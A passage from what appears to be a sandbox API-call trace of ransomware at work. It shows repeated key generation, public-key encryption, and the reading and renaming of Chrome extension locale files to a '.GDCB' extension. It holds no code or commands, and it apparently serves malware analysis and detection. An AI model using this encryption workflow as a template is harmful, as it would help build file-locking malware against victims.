lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.657] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.657] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.657] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0267.659] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.661] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.661] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.661] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.661] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.663] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796ea0) returned 1 [0267.663] CryptGetKeyParam (in: hKey=0x6796ea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.663] CryptEncrypt (in: hKey=0x6796ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.664] GetLastError () returned 0x0 [0267.664] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.664] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.665] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796ee0) returned 1 [0267.666] CryptGetKeyParam (in: hKey=0x6796ee0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.666] CryptEncrypt (in: hKey=0x6796ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.666] GetLastError () returned 0x0 [0267.666] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.666] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.667] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.670] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.672] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x25f, lpOverlapped=0x0) returned 1 [0267.680] VirtualAlloc (lpAddress=0x0, dwSize=0x260, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.686] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json.gdcb")) returned 1 [0267.691] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0267.694] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.696] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.696] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.696] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.696] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.699] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.700] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.701] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.701] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.701] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0267.703] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796c60) returned 1 [0267.703] CryptGetKeyParam (in: hKey=0x6796c60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.703] CryptEncrypt (in: hKey=0x6796c60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.703] GetLastError () returned 0x0 [0267.703] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.703] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.705] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796fa0) returned 1 [0267.705] CryptGetKeyParam (in: hKey=0x6796fa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.705] CryptEncrypt (in: hKey=0x6796fa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.705] GetLastError () returned 0x0 [0267.705] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.705] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.707] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.709] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.711] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x147, lpOverlapped=0x0) returned 1 [0267.720] VirtualAlloc (lpAddress=0x0, dwSize=0x150, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.726] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json.gdcb")) returned 1 [0267.731] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.734] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.736] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.736] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.736] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.736] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0267.739] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.741] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.741] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.741] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.741] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.743] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796a60) returned 1 [0267.743] CryptGetKeyParam (in: hKey=0x6796a60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.743] CryptEncrypt (in: hKey=0x6796a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.743] GetLastError () returned 0x0 [0267.743] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.743] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.745] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796fe0) returned 1 [0267.745] CryptGetKeyParam (in: hKey=0x6796fe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.745] CryptEncrypt (in: hKey=0x6796fe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.745] GetLastError () returned 0x0 [0267.745] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.745] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.747] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.750] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.752] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd9, lpOverlapped=0x0) returned 1 [0267.761] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.769] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.gdcb")) returned 1 [0267.774] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.777] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.779] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.780] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.780] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.780] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.782] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.784] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.784] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.784] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.784] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0267.787] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796f20) returned 1 [0267.787] CryptGetKeyParam (in: hKey=0x6796f20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.787] CryptEncrypt (in: hKey=0x6796f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.787] GetLastError () returned 0x0 [0267.787] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.787] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0267.789] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796d60) returned 1 [0267.789] CryptGetKeyParam (in: hKey=0x6796d60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.789] CryptEncrypt (in: hKey=0x6796d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.789] GetLastError () returned 0x0 [0267.789] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.789] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.790] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.792] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.795] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x1c2, lpOverlapped=0x0) returned 1 [0267.803] VirtualAlloc (lpAddress=0x0, dwSize=0x1d0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.810] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json.gdcb")) returned 1 [0267.815] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0267.817] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.819] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.819] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.819] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.819] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0267.822] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.824] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.824] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.824] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.824] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.826] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67969e0) returned 1 [0267.826] CryptGetKeyParam (in: hKey=0x67969e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.826] CryptEncrypt (in: hKey=0x67969e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.826] GetLastError () returned 0x0 [0267.827] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.827] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.828] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796de0) returned 1 [0267.828] CryptGetKeyParam (in: hKey=0x6796de0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.828] CryptEncrypt (in: hKey=0x6796de0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.829] GetLastError () returned 0x0 [0267.829] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.829] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.830] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.832] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.834] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd5, lpOverlapped=0x0) returned 1 [0267.843] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.849] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json.gdcb")) returned 1 [0267.854] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 